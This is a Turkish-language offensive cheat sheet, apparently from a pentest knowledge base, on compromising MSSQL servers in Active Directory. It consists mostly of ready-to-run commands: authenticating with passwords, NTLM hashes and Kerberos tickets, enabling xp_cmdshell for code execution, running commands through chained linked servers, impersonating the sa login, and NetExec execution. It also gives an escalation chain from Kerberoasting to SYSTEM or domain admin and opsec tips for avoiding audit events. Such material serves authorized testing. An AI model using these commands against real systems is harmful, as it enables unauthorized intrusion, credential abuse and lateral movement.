MSSQL & Linked Servers
ATT&CK T1210 difficulty: orta
Kurumsal AD ortamlarında MSSQL sunucuları hem RCE hem yanal hareket için değerlidir. Servis hesapları çoğu zaman yüksek yetkilidir (SeImpersonate → Potato, veya domain admin benzeri); ayrıca linked server ilişkileri ile bir sunucudan diğerine (bazen daha yetkili) zincir kurulur.
Komut üreteci
Section titled “Komut üreteci”MSSQL · mssqlclient
embedded toolGenerated command
impacket-mssqlclient domain.local/sqluser:Pass123@10.10.10.5 -windows-authMSSQL · mssqlclient
Section titled “MSSQL · mssqlclient”impacket-GetUserSPNs domain.local/user:'Pass' -dc-ip DC | grep -i MSSQLnxc mssql 10.10.10.0/24 -u user -p 'Pass'Get-DomainComputer -SPN 'MSSQL*'Get-SQLInstanceDomain # PowerUpSQLimpacket-mssqlclient domain.local/user:'Pass'@10.10.10.5 -windows-authimpacket-mssqlclient -hashes :NTHASH domain.local/user@10.10.10.5 -windows-authexport KRB5CCNAME=user.ccacheimpacket-mssqlclient -k -no-pass domain.local/user@sql01.domain.localimpacket-mssqlclient sa@10.10.10.5 -windows-auth # veya sa:pass without -windows-authYetki ve enum (SQL içinde)
Section titled “Yetki ve enum (SQL içinde)”SELECT SYSTEM_USER, USER_NAME(), IS_SRVROLEMEMBER('sysadmin');SELECT * FROM fn_my_permissions(NULL, 'SERVER');-- Impersonation haklarıSELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';RCE — xp_cmdshell
Section titled “RCE — xp_cmdshell”Sysadmin (veya yeterli izin) gerekir; kapalıysa açmayı dene:
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;EXEC xp_cmdshell 'whoami';EXEC xp_cmdshell 'powershell -enc <BASE64>';SQL> enable_xp_cmdshellSQL> xp_cmdshell whoamiAlternatifler: Ole Automation (sp_OACreate), CLR assembly, Agent Job (sp_add_job), EXTERNAL SCRIPT (R/Python).
Linked server zinciri & impersonation
Section titled “Linked server zinciri & impersonation”-
Linked server’ları listele :
EXEC sp_linkedservers;SELECT * FROM sys.servers;SELECT * FROM sys.linked_logins;Terminal window Get-SQLServerLink -Instance sql01Terminal window Get-SQLServerLinkCrawl -Instance sql01 -
Uzak sunucuda sorgu/komut :
SELECT * FROM OPENQUERY([LINKED\SQL], 'SELECT @@version');EXEC ('SELECT SYSTEM_USER') AT [LINKED\SQL];EXEC ('EXEC xp_cmdshell ''whoami'';') AT [LINKED\SQL];-- Çok hopSELECT * FROM OPENQUERY([L1], 'SELECT * FROM OPENQUERY([L2], ''SELECT SYSTEM_USER'')'); -
Impersonation — daha yetkili login:
EXECUTE AS LOGIN = 'sa';SELECT SYSTEM_USER;EXEC xp_cmdshell 'whoami';REVERT;-- dbo impersonation (db seviye)EXECUTE AS USER = 'dbo';
AD bağlamında değer
Section titled “AD bağlamında değer”Kerberoast MSSQLSvc SPN → svc_sql parola → Windows auth to SQL → sysadmin → xp_cmdshell → SeImpersonate → SYSTEM → veya linked → prod SQL → DA credential in job/proxyBloodHound: SQL host üzerinde AdminTo / session; servis hesabı MemberOf / AllowedToDelegate.
NetExec MSSQL
Section titled “NetExec MSSQL”nxc mssql HOST -u user -p 'Pass' -q 'SELECT @@version'nxc mssql HOST -u user -H :HASH -x 'whoami'nxc mssql HOST -u sa -p 'saPass' --local-auth -x 'whoami'Opsec (ofansif)
Section titled “Opsec (ofansif)”- xp_cmdshell açmak config değişikliği + audit event üretir; mümkünse zaten açıksa kullan.
- Linked crawl otomatik gürültülü; önce manuel map.
- Agent Job bırakmak kalıcılıktır — angajman kuralına uy, temizle.
- SQL auth sa zayıf parola hâlâ yaygın; Windows auth yanında dene.
Yaygın tuzaklar
Section titled “Yaygın tuzaklar”- Windows auth için -windows-auth unutulması.
- Linked server “mapping” yok → uzak tarafta guest / fail.
- EXECUTE AS için IMPERSONATE hakkı yok.
- Firewall sadece 1433; linked ikinci hop saldırgan ağından değil SQL’den çıkar (pivot olarak değerli).
- Contained DB / Azure SQL’de xp_cmdshell yok — teknik farklılaşır.
Sonraki adımlar
Section titled “Sonraki adımlar”Kerberoasting · Exec methods · Delegation